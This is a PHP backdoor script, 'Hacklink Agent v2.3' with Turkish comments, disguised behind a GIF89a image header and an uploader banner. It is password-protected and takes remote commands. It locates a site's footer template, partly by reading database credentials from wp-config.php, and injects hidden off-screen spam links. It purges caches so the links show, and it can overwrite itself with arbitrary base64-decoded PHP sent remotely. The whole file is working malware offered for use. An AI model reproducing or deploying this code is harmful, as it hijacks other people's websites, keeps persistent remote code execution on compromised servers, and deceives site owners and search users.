GIF89a;
Priv8 Uploader By InMyMine7
Linux server.abcbiz.in 3.10.0-1160.45.1.el7.x86_64 #1 SMP Wed Oct 13 17:20:51 UTC 2021 x86_64
<?php
ob_start(); // EN BASTA - tüm çıktıları yakala
/**
* Hacklink Agent v2.2
* Shell'e yüklenir, WordPress VE diğer PHP sitelerine hacklink ekler
*
* v2.1: WordPress dışı site desteği (Laravel, düz PHP, vb.)
* v2.2: Self-update ve rollback desteği
* v2.3: PHP 8.4 uyumluluğu, try-catch ile WordPress yükleme
*
* Komutlar:
* - ping: Canlılık kontrolü
* - list: Mevcut linkleri listele
* - add: Link ekle
* - remove: Link sil
* - clear: Tüm linkleri temizle
* - bulk_add: Toplu link ekle
* - purge: Cache temizle
* - health: Linkler sitede görünüyor mu kontrol et
* - report: Detaylı rapor (link sayısı, site bilgisi)
* - set_footer: Manuel footer yolu ayarla
* - scan_footers: Olası footer dosyalarını listele
* - self_update: Uzaktan agent güncelleme (base64 code)
* - rollback: Son yedeğe geri dön
*/
// ====== AYARLAR ======
$SECRET_KEY = 'X$4sL9!pQ8rT';
$AGENT_VERSION = '2.3';
$CONFIG_FILE = __DIR__ . '/.hl_config.json';
// ====== GÜVENLİK ======
header('Content-Type: application/json');
error_reporting(0);
$key = $_REQUEST['key'] ?? '';
if ($key !== $SECRET_KEY) {
http_response_code(401);
die(json_encode(['error' => 'Unauthorized', 'code' => 401]));
}
$cmd = $_REQUEST['cmd'] ?? 'ping';
// ====== CONFIG OKUMA/YAZMA ======
function get_config() {
global $CONFIG_FILE;
if (file_exists($CONFIG_FILE)) {
$data = @json_decode(file_get_contents($CONFIG_FILE), true);
return is_array($data) ? $data : [];
}
return [];
}
function save_config($config) {
global $CONFIG_FILE;
return @file_put_contents($CONFIG_FILE, json_encode($config, JSON_PRETTY_PRINT));
}
// ====== WORDPRESS YÜKLE ======
function load_wordpress() {
// wp-load.php'yi bul
$paths = [
$_SERVER['DOCUMENT_ROOT'] . '/wp-load.php',
dirname(__FILE__) . '/wp-load.php',
dirname(__FILE__) . '/../wp-load.php',
dirname(__FILE__) . '/../../wp-load.php',
dirname(__FILE__) . '/../../../wp-load.php',
dirname(__FILE__) . '/../../../../wp-load.php',
];
foreach ($paths as $path) {
if (file_exists($path)) {
try {
if (!defined('WP_USE_THEMES')) {
define('WP_USE_THEMES', false);
}
@require_once($path);
return function_exists('get_template_directory');
} catch (Throwable $e) {
return false;
}
}
}
return false;
}
// ====== SİTE TİPİ ALGILAMA ======
function detect_site_type() {
$doc_root = $_SERVER['DOCUMENT_ROOT'];
// WordPress
if (file_exists($doc_root . '/wp-config.php') || file_exists($doc_root . '/wp-load.php')) {
return 'wordpress';
}
// Laravel
if (file_exists($doc_root . '/artisan') || file_exists($doc_root . '/../artisan')) {
return 'laravel';
}
// CodeIgniter
if (file_exists($doc_root . '/application/config/config.php') || is_dir($doc_root . '/system/core')) {
return 'codeigniter';
}
// Joomla
if (file_exists($doc_root . '/configuration.php') && file_exists($doc_root . '/administrator')) {
return 'joomla';
}
// Drupal
if (file_exists($doc_root . '/sites/default/settings.php')) {
return 'drupal';
}
// Generic PHP
return 'php';
}
// ====== FOOTER BULMA (GELİŞMİŞ) ======
function get_footer_path() {
// Önce config'de manuel tanımlı footer var mı?
$config = get_config();
if (!empty($config['footer_path'])) {
$manual_path = $config['footer_path'];
// Relative path ise document_root'a göre çöz
if ($manual_path[0] !== '/') {
$manual_path = $_SERVER['DOCUMENT_ROOT'] . '/' . $manual_path;
}
if (file_exists($manual_path)) {
return $manual_path;
}
}
$doc_root = $_SERVER['DOCUMENT_ROOT'];
$site_type = detect_site_type();
// ====== WORDPRESS ======
if ($site_type === 'wordpress') {
// Önce WordPress API ile dene
if (function_exists('get_template_directory')) {
$footer = get_template_directory() . '/footer.php';
if (file_exists($footer)) {
return $footer;
}
}
// WordPress yüklenemezse DB'den tema bul
$wp_config = $doc_root . '/wp-config.php';
if (file_exists($wp_config)) {
$config_content = file_get_contents($wp_config);
preg_match("/define\s*\(\s*['\"]DB_NAME['\"]\s*,\s*['\"]([^'\"]+)['\"]\s*\)/", $config_content, $db_name);
preg_match("/define\s*\(\s*['\"]DB_USER['\"]\s*,\s*['\"]([^'\"]+)['\"]\s*\)/", $config_content, $db_user);
preg_match("/define\s*\(\s*['\"]DB_PASSWORD['\"]\s*,\s*['\"]([^'\"]+)['\"]\s*\)/", $config_content, $db_pass);
preg_match("/define\s*\(\s*['\"]DB_HOST['\"]\s*,\s*['\"]([^'\"]+)['\"]\s*\)/", $config_content, $db_host);
preg_match("/\\\$table_prefix\s*=\s*['\"]([^'\"]+)['\"]/", $config_content, $prefix);
if (!empty($db_name[1]) && !empty($db_user[1])) {
try {
$pdo = new PDO(
"mysql:host=" . ($db_host[1] ?? 'localhost') . ";dbname=" . $db_name[1],
$db_user[1],
$db_pass[1] ?? ''
);
$table = ($prefix[1] ?? 'wp_') . 'options';
$stmt = $pdo->query("SELECT option_value FROM {$table} WHERE option_name = 'template' LIMIT 1");
$theme = $stmt->fetchColumn();
if ($theme) {
$footer = $doc_root . '/wp-content/themes/' . $theme . '/footer.php';
if (file_exists($footer)) {
return $footer;
}
}
} catch (Exception $e) {}
}
}
// Themes klasöründe ara
$themes_dir = $doc_root . '/wp-content/themes';
if (is_dir($themes_dir)) {
$themes = glob($themes_dir . '/*', GLOB_ONLYDIR);
foreach ($themes as $theme) {
$name = basename($theme);
if (preg_match('/^(twenty|hello-elementor|starter)/i', $name)) continue;
$footer = $theme . '/footer.php';
if (file_exists($footer)) return $footer;
}
foreach ($themes as $theme) {
$footer = $theme . '/footer.php';
if (file_exists($footer)) return $footer;
}
}
}
// ====== LARAVEL ======
if ($site_type === 'laravel') {
$laravel_paths = [
$doc_root . '/../resources/views/layouts/footer.blade.php',
$doc_root . '/../resources/views/layouts/app.blade.php',
$doc_root . '/../resources/views/partials/footer.blade.php',
$doc_root . '/../resources/views/includes/footer.blade.php',
$doc_root . '/../resources/views/layout/footer.blade.php',
$doc_root . '/../resources/views/footer.blade.php',
];
foreach ($laravel_paths as $path) {
if (file_exists($path)) return $path;
}
}
// ====== CODEIGNITER ======
if ($site_type === 'codeigniter') {
$ci_paths = [
$doc_root . '/application/views/templates/footer.php',
$doc_root . '/application/views/layout/footer.php',
$doc_root . '/application/views/includes/footer.php',
$doc_root . '/application/views/common/footer.php',
$doc_root . '/application/views/footer.php',
];
foreach ($ci_paths as $path) {
if (file_exists($path)) return $path;
}
}
// ====== JOOMLA ======
if ($site_type === 'joomla') {
// Aktif template'i bul
$joomla_templates = glob($doc_root . '/templates/*', GLOB_ONLYDIR);
foreach ($joomla_templates as $tpl) {
$name = basename($tpl);
if (in_array($name, ['system', 'cassiopeia', 'atum'])) continue;
$index = $tpl . '/index.php';
if (file_exists($index)) return $index; // Joomla'da footer ayrı değil
}
}
// ====== GENERIC PHP ======
$generic_paths = [
// Yaygın footer dosyaları
$doc_root . '/includes/footer.php',
$doc_root . '/include/footer.php',
$doc_root . '/inc/footer.php',
$doc_root . '/templates/footer.php',
$doc_root . '/template/footer.php',
$doc_root . '/views/footer.php',
$doc_root . '/common/footer.php',
$doc_root . '/layout/footer.php',
$doc_root . '/layouts/footer.php',
$doc_root . '/partials/footer.php',
$doc_root . '/footer.php',
// Index dosyaları (son çare)
$doc_root . '/index.php',
];
foreach ($generic_paths as $path) {
if (file_exists($path) && is_writable($path)) {
return $path;
}
}
// Son çare: Recursive arama
$found = find_footer_recursive($doc_root, 0, 3);
if ($found) return $found;
return null;
}
// Recursive footer arama (max depth sınırlı)
function find_footer_recursive($dir, $depth, $max_depth) {
if ($depth > $max_depth) return null;
$skip_dirs = ['vendor', 'node_modules', 'cache', 'logs', 'tmp', 'uploads', 'wp-admin', 'wp-includes'];
$files = @glob($dir . '/*');
if (!$files) return null;
// Önce footer.php ara
foreach ($files as $file) {
if (is_file($file) && preg_match('/footer\.php$/i', $file) && is_writable($file)) {
return $file;
}
}
// Subdirectory'lere bak
foreach ($files as $file) {
if (is_dir($file)) {
$name = basename($file);
if (in_array($name, $skip_dirs) || $name[0] === '.') continue;
$result = find_footer_recursive($file, $depth + 1, $max_depth);
if ($result) return $result;
}
}
return null;
}
// ====== AGENT ID ======
$AGENT_ID = 'HL_' . substr(md5(__FILE__ . @$_SERVER['HTTP_HOST']), 0, 8);
// ====== HACKLINK FONKSİYONLARI ======
function build_hacklink_block($links, $agent_id) {
if (empty($links)) return '';
$html = "\n<!-- {$agent_id}:START -->\n";
$html .= "<span style=\"position:absolute;left:-9999px;\">\n";
foreach ($links as $link) {
$url = htmlspecialchars($link['url'], ENT_QUOTES, 'UTF-8');
$anchor = htmlspecialchars($link['anchor'], ENT_QUOTES, 'UTF-8');
$html .= "<a href=\"{$url}\">{$anchor}</a>\n";
}
$html .= "</span>\n";
$html .= "<!-- {$agent_id}:END -->\n";
return $html;
}
function extract_links($content, $agent_id) {
$links = [];
$pattern = '/<!-- ' . preg_quote($agent_id, '/') . ':START -->.*?<!-- ' . preg_quote($agent_id, '/') . ':END -->/s';
if (preg_match($pattern, $content, $match)) {
preg_match_all('/<a href="([^"]+)">([^<]+)<\/a>/', $match[0], $matches, PREG_SET_ORDER);
foreach ($matches as $m) {
$links[] = ['url' => html_entity_decode($m[1]), 'anchor' => html_entity_decode($m[2])];
}
}
return $links;
}
function update_footer($links, $agent_id) {
$footer_path = get_footer_path();
if (!$footer_path) {
return ['error' => 'Footer bulunamadı', 'code' => 404];
}
$content = @file_get_contents($footer_path);
if ($content === false) {
return ['error' => 'Footer okunamadı', 'code' => 500];
}
// Eski bloğu temizle
$pattern = '/\n?<!-- ' . preg_quote($agent_id, '/') . ':START -->.*?<!-- ' . preg_quote($agent_id, '/') . ':END -->\n?/s';
$content = preg_replace($pattern, '', $content);
// Yeni bloğu ekle
if (!empty($links)) {
$new_block = build_hacklink_block($links, $agent_id);
// </body> öncesine ekle
if (strpos($content, '</body>') !== false) {
$content = str_replace('</body>', $new_block . '</body>', $content);
}
// </html> öncesine ekle
elseif (strpos($content, '</html>') !== false) {
$content = str_replace('</html>', $new_block . '</html>', $content);
}
// wp_footer() sonrasına ekle
elseif (preg_match('/wp_footer\s*\(\s*\)\s*;?\s*\?>/', $content)) {
$content = preg_replace('/(wp_footer\s*\(\s*\)\s*;?\s*\?>)/', '$1' . $new_block, $content);
}
// @yield, @include (Laravel Blade)
elseif (preg_match('/@(yield|include|section)\s*\([\'"][^\'"]+[\'"]\)/', $content)) {
// Dosya sonuna ekle
$content .= $new_block;
}
// Dosya sonuna ekle
else {
$content .= $new_block;
}
}
// Backup
$backup = $footer_path . '.bak';
if (!file_exists($backup)) {
@copy($footer_path, $backup);
}
// Kaydet
if (@file_put_contents($footer_path, $content) === false) {
return ['error' => 'Footer yazılamadı', 'code' => 500];
}
return ['success' => true, 'path' => $footer_path, 'links_count' => count($links)];
}
function purge_cache() {
$cleared = [];
$doc_root = $_SERVER['DOCUMENT_ROOT'];
// LiteSpeed Cache
$ls_cache = $doc_root . '/wp-content/cache/litespeed';
if (is_dir($ls_cache)) {
array_map('unlink', glob("$ls_cache/*/*/*") ?: []);
array_map('unlink', glob("$ls_cache/*/*") ?: []);
array_map('unlink', glob("$ls_cache/*") ?: []);
$cleared[] = 'litespeed';
}
// WP Super Cache
$wp_cache = $doc_root . '/wp-content/cache/supercache';
if (is_dir($wp_cache)) {
array_map(function($d) {
array_map('unlink', glob("$d/*") ?: []);
@rmdir($d);
}, glob("$wp_cache/*", GLOB_ONLYDIR) ?: []);
$cleared[] = 'supercache';
}
// W3 Total Cache
$w3_cache = $doc_root . '/wp-content/cache/page_enhanced';
if (is_dir($w3_cache)) {
array_map(function($d) {
array_map('unlink', glob("$d/*") ?: []);
@rmdir($d);
}, glob("$w3_cache/*", GLOB_ONLYDIR) ?: []);
$cleared[] = 'w3tc';
}
// Laravel Cache
$laravel_cache = $doc_root . '/../storage/framework/views';
if (is_dir($laravel_cache)) {
array_map('unlink', glob("$laravel_cache/*.php") ?: []);
$cleared[] = 'laravel';
}
// Generic cache
$cache_dirs = [
$doc_root . '/cache',
$doc_root . '/tmp/cache',
$doc_root . '/../cache',
];
foreach ($cache_dirs as $cache_dir) {
if (is_dir($cache_dir)) {
$files = glob("$cache_dir/*");
if ($files) {
foreach ($files as $f) {
if (is_file($f)) @unlink($f);
}
$cleared[] = 'generic';
break;
}
}
}
return $cleared;
}
// ====== KOMUT İŞLE ======
// WordPress'i yüklemeyi dene
$wp_loaded = load_wordpress();
// WordPress ve plugin çıktılarını temizle
ob_end_clean();
ob_start();
$site_type = detect_site_type();
$response = ['agent_id' => $AGENT_ID, 'version' => $AGENT_VERSION];
switch ($cmd) {
case 'ping':
$footer_path = get_footer_path();
$response += [
'status' => 'alive',
'site_type' => $site_type,
'wp_loaded' => $wp_loaded,
'footer_found' => $footer_path ? true : false,
'footer_path' => $footer_path ? str_replace($_SERVER['DOCUMENT_ROOT'], '', $footer_path) : null,
'php_version' => PHP_VERSION,
'time' => date('Y-m-d H:i:s')
];
break;
case 'set_footer':
// Manuel footer yolu ayarla
$path = trim($_REQUEST['path'] ?? '');
if (empty($path)) {
$response['error'] = 'path gerekli';
break;
}
// Relative veya absolute path
$full_path = ($path[0] === '/') ? $path : $_SERVER['DOCUMENT_ROOT'] . '/' . $path;
if (!file_exists($full_path)) {
$response['error'] = 'Dosya bulunamadı: ' . $path;
break;
}
if (!is_writable($full_path)) {
$response['error'] = 'Dosya yazılabilir değil: ' . $path;
break;
}
$config = get_config();
$config['footer_path'] = $path;
save_config($config);
$response['success'] = true;
$response['footer_path'] = $path;
$response['message'] = 'Footer yolu ayarlandı';
break;
case 'list':
$footer_path = get_footer_path();
if (!$footer_path) {
$response['error'] = 'Footer bulunamadı';
$response['links'] = [];
} else {
$content = @file_get_contents($footer_path);
$links = extract_links($content, $AGENT_ID);
$response['links'] = $links;
$response['count'] = count($links);
}
break;
case 'add':
$url = trim($_REQUEST['url'] ?? '');
$anchor = trim($_REQUEST['anchor'] ?? '');
if (empty($url) || empty($anchor)) {
$response['error'] = 'url ve anchor gerekli';
break;
}
$footer_path = get_footer_path();
if (!$footer_path) {
$response['error'] = 'Footer bulunamadı';
$response['site_type'] = $site_type;
$response['hint'] = 'Manuel footer yolu ayarlamak için: ?cmd=set_footer&path=path/to/footer.php';
break;
}
$content = @file_get_contents($footer_path);
$links = extract_links($content, $AGENT_ID);
// Duplicate kontrolü
foreach ($links as $link) {
if ($link['url'] === $url) {
$response['error'] = 'Bu URL zaten mevcut';
break 2;
}
}
$links[] = ['url' => $url, 'anchor' => $anchor];
$result = update_footer($links, $AGENT_ID);
$response = array_merge($response, $result);
if (!isset($result['error'])) {
$response['added'] = ['url' => $url, 'anchor' => $anchor];
purge_cache();
}
break;
case 'remove':
$url = trim($_REQUEST['url'] ?? '');
if (empty($url)) {
$response['error'] = 'url gerekli';
break;
}
$footer_path = get_footer_path();
if (!$footer_path) {
$response['error'] = 'Footer bulunamadı';
break;
}
$content = @file_get_contents($footer_path);
$links = extract_links($content, $AGENT_ID);
$original_count = count($links);
$links = array_values(array_filter($links, fn($l) => $l['url'] !== $url));
if (count($links) === $original_count) {
$response['error'] = 'URL bulunamadı';
break;
}
$result = update_footer($links, $AGENT_ID);
$response = array_merge($response, $result);
if (!isset($result['error'])) {
$response['removed'] = $url;
purge_cache();
}
break;
case 'update':
$old_url = trim($_REQUEST['old_url'] ?? $_REQUEST['url'] ?? '');
$new_url = trim($_REQUEST['new_url'] ?? '');
$new_anchor = trim($_REQUEST['new_anchor'] ?? $_REQUEST['anchor'] ?? '');
if (empty($old_url)) {
$response['error'] = 'old_url (veya url) gerekli';
break;
}
$footer_path = get_footer_path();
if (!$footer_path) {
$response['error'] = 'Footer bulunamadı';
break;
}
$content = @file_get_contents($footer_path);
$links = extract_links($content, $AGENT_ID);
$found = false;
foreach ($links as &$link) {
if ($link['url'] === $old_url) {
if (!empty($new_url)) $link['url'] = $new_url;
if (!empty($new_anchor)) $link['anchor'] = $new_anchor;
$found = true;
break;
}
}
unset($link);
if (!$found) {
$response['error'] = 'URL bulunamadı';
break;
}
$result = update_footer($links, $AGENT_ID);
$response = array_merge($response, $result);
if (!isset($result['error'])) {
$response['updated'] = $old_url;
purge_cache();
}
break;
case 'clear':
$result = update_footer([], $AGENT_ID);
$response = array_merge($response, $result);
if (!isset($result['error'])) {
$response['message'] = 'Tüm linkler temizlendi';
purge_cache();
}
break;
case 'bulk_add':
$links_json = $_REQUEST['links'] ?? '';
if (empty($links_json)) {
$raw = file_get_contents('php://input');
if (preg_match('/links=([^&]+)/', $raw, $m)) {
$links_json = urldecode($m[1]);
}
}
$links_json = urldecode($links_json);
$new_links = @json_decode($links_json, true);
if (!is_array($new_links) || empty($new_links)) {
$response['error'] = 'Geçerli links JSON dizisi gerekli';
break;
}
$footer_path = get_footer_path();
if (!$footer_path) {
$response['error'] = 'Footer bulunamadı';
break;
}
$content = @file_get_contents($footer_path);
$existing = extract_links($content, $AGENT_ID);
$existing_urls = array_column($existing, 'url');
$added = 0;
foreach ($new_links as $link) {
$url = trim($link['url'] ?? '');
$anchor = trim($link['anchor'] ?? '');
if (empty($url) || empty($anchor)) continue;
if (in_array($url, $existing_urls)) continue;
$existing[] = ['url' => $url, 'anchor' => $anchor];
$existing_urls[] = $url;
$added++;
}
$result = update_footer($existing, $AGENT_ID);
$response = array_merge($response, $result);
$response['added_count'] = $added;
if (!isset($result['error'])) {
purge_cache();
}
break;
case 'purge':
$cleared = purge_cache();
$response['cleared'] = $cleared;
$response['message'] = empty($cleared) ? 'Cache bulunamadı' : 'Cache temizlendi';
break;
case 'health':
$footer_path = get_footer_path();
$health = [
'agent_alive' => true,
'site_type' => $site_type,
'footer_exists' => false,
'footer_writable' => false,
'links_in_footer' => 0,
'links_on_site' => 0,
'all_visible' => false,
'missing_links' => []
];
if ($footer_path && file_exists($footer_path)) {
$health['footer_exists'] = true;
$health['footer_writable'] = is_writable($footer_path);
$content = @file_get_contents($footer_path);
$links = extract_links($content, $AGENT_ID);
$health['links_in_footer'] = count($links);
if (count($links) > 0) {
$site_url = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? 'https' : 'http') . '://' . $_SERVER['HTTP_HOST'];
$ctx = stream_context_create(['http' => ['timeout' => 10, 'header' => 'User-Agent: Mozilla/5.0']]);
$html = @file_get_contents($site_url, false, $ctx);
if ($html !== false) {
$visible = 0;
foreach ($links as $link) {
if (strpos($html, $link['url']) !== false) {
$visible++;
} else {
$health['missing_links'][] = $link['url'];
}
}
$health['links_on_site'] = $visible;
$health['all_visible'] = ($visible === count($links));
}
} else {
$health['all_visible'] = true;
}
}
$health['status'] = $health['all_visible'] ? 'healthy' : 'warning';
$response['health'] = $health;
break;
case 'report':
$footer_path = get_footer_path();
$report = [
'site' => $_SERVER['HTTP_HOST'] ?? 'unknown',
'site_type' => $site_type,
'agent_id' => $AGENT_ID,
'agent_version' => $AGENT_VERSION,
'php_version' => PHP_VERSION,
'wordpress' => $wp_loaded,
'footer' => null,
'links' => [],
'stats' => [
'total_links' => 0,
'unique_domains' => 0,
'last_modified' => null
]
];
if ($footer_path && file_exists($footer_path)) {
$report['footer'] = [
'path' => str_replace($_SERVER['DOCUMENT_ROOT'], '', $footer_path),
'size' => filesize($footer_path),
'writable' => is_writable($footer_path),
'modified' => date('Y-m-d H:i:s', filemtime($footer_path))
];
$content = @file_get_contents($footer_path);
$links = extract_links($content, $AGENT_ID);
$report['links'] = $links;
$report['stats']['total_links'] = count($links);
$domains = [];
foreach ($links as $link) {
$parsed = parse_url($link['url']);
if (isset($parsed['host'])) {
$domains[$parsed['host']] = true;
}
}
$report['stats']['unique_domains'] = count($domains);
$report['stats']['last_modified'] = $report['footer']['modified'];
}
$response['report'] = $report;
break;
case 'scan_footers':
// Olası footer dosyalarını listele (debug için)
$doc_root = $_SERVER['DOCUMENT_ROOT'];
$found = [];
$search_patterns = [
$doc_root . '/*/footer.php',
$doc_root . '/*/*/footer.php',
$doc_root . '/*/*/*/footer.php',
$doc_root . '/footer.php',
$doc_root . '/../resources/views/*/footer.blade.php',
$doc_root . '/../resources/views/*/*/footer.blade.php',
];
foreach ($search_patterns as $pattern) {
$files = glob($pattern);
if ($files) {
foreach ($files as $f) {
$found[] = [
'path' => str_replace($_SERVER['DOCUMENT_ROOT'], '', $f),
'writable' => is_writable($f),
'size' => filesize($f)
];
}
}
}
$response['footers'] = $found;
$response['site_type'] = $site_type;
$response['doc_root'] = $doc_root;
break;
case 'self_update':
// Uzaktan agent güncelleme
$code = $_REQUEST['code'] ?? '';
// POST body'den de al
if (empty($code)) {
$raw = file_get_contents('php://input');
if (preg_match('/code=([^&]+)/', $raw, $m)) {
$code = urldecode($m[1]);
}
}
if (empty($code)) {
$response['error'] = 'code parametresi gerekli (base64 encoded PHP)';
break;
}
// Base64 decode
$new_code = @base64_decode($code);
if ($new_code === false || strpos($new_code, '<?php') !== 0) {
$response['error'] = 'Geçersiz kod formatı';
break;
}
// Mevcut dosyanın yedeğini al
$current_file = __FILE__;
$backup_file = $current_file . '.v' . $AGENT_VERSION . '.bak';
if (!@copy($current_file, $backup_file)) {
$response['error'] = 'Yedek alınamadı';
break;
}
// Yeni kodu yaz
if (@file_put_contents($current_file, $new_code) === false) {
$response['error'] = 'Kod yazılamadı';
// Yedeği geri yükle
@copy($backup_file, $current_file);
break;
}
// Yeni versiyonu kontrol et
preg_match('/\$AGENT_VERSION\s*=\s*[\'"]([^\'"]+)[\'"]/', $new_code, $ver_match);
$new_version = $ver_match[1] ?? 'unknown';
$response['success'] = true;
$response['message'] = 'Agent güncellendi';
$response['old_version'] = $AGENT_VERSION;
$response['new_version'] = $new_version;
$response['backup'] = basename($backup_file);
break;
case 'rollback':
// Son yedeğe geri dön
$current_file = __FILE__;
$backups = glob($current_file . '.v*.bak');
if (empty($backups)) {
$response['error'] = 'Yedek bulunamadı';
break;
}
// En son yedeği al
usort($backups, function($a, $b) { return filemtime($b) - filemtime($a); });
$latest_backup = $backups[0];
if (!@copy($latest_backup, $current_file)) {
$response['error'] = 'Geri yükleme başarısız';
break;
}
$response['success'] = true;
$response['message'] = 'Önceki versiyona geri dönüldü';
$response['restored_from'] = basename($latest_backup);
break;
default:
$response['error'] = 'Bilinmeyen komut: ' . $cmd;
$response['available'] = ['ping', 'list', 'add', 'remove', 'clear', 'bulk_add', 'purge', 'health', 'report', 'set_footer', 'scan_footers', 'self_update', 'rollback'];
}
echo json_encode($response, JSON_PRETTY_PRINT | JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);